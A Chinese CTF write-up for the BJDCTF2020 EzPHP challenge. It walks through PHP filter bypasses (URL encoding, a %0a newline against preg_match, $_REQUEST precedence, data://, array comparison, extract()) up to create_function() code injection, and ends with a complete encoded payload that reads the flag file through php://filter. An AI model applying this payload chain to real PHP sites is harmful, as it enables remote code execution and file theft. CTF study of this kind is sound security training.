[BJDCTF2020]EzPHP

[BJDCTF2020]EzPHP_第1张图片
直接查看源代码
[BJDCTF2020]EzPHP_第2张图片
base32加密
一整套源代码
第一个if
在这里插入图片描述
$_SERVER[‘QUERY_STRING’]是从url提取字符窜,并且他设置了非常长的黑名单,可以利用url关键字编码绕过

在这里插入图片描述
第二个if
意思是如果file这个get参数里面没有http或https不区分大小写且 debu这个get参数要匹配到aqua_is_cute,并且又来了个强不等于
这个绕过其实很简单,因为preg_match只能匹配一行,利用%0a换行即可绕过

[BJDCTF2020]EzPHP_第3张图片
REQUEST可以接受get和post请求,但是post具有优先级,所有可以用post和get传两个一样的来绕过这里有个坑
REQUEST会把cookie包含进来,由于cookie里有英文所以过不了那个if,因此需要删除cookie才能过

在这里插入图片描述
这个直接用data协议过就行了
在这里插入图片描述

[BJDCTF2020]EzPHP_第4张图片

在这里插入图片描述
这个类似MD5弱碰撞,数组绕过
[BJDCTF2020]EzPHP_第5张图片
[BJDCTF2020]EzPHP_第6张图片
在这里插入图片描述
然后注意extract()这个函数,意思将数组的键值赋值给键名
在这里插入图片描述
而这一段很明显就是要我们利用extract函数将code和args赋值,然后拿flag
由于禁用了很多关键函数,同时也限制了函数的传参,看了wp,emmmmmm
这题是考察create_function()的使用
我百度一搜,娘的直接有漏洞

[BJDCTF2020]EzPHP_第7张图片
这是create_function()函数的举例
[BJDCTF2020]EzPHP_第8张图片
由于他包含了flag.php,由此我们可以用函数输出所有的变量
函数大全
print_r()被他过滤了,可以用var_dump()
[BJDCTF2020]EzPHP_第9张图片

在这里插入图片描述

发现真正的flag位置

无参数RCE里面一些函数的关键字被过滤了
不可行

虽然过滤了include 还能用require进行文件包含
过滤了"可以用()代替
就算他有严格的过滤,由于没有过滤取反符号,直接利用取反
利用php伪协议直接读取

[BJDCTF2020]EzPHP_第10张图片
最终的payload如下

%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=;}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//

[BJDCTF2020]EzPHP_第11张图片

你可能感兴趣的:([BJDCTF2020]EzPHP)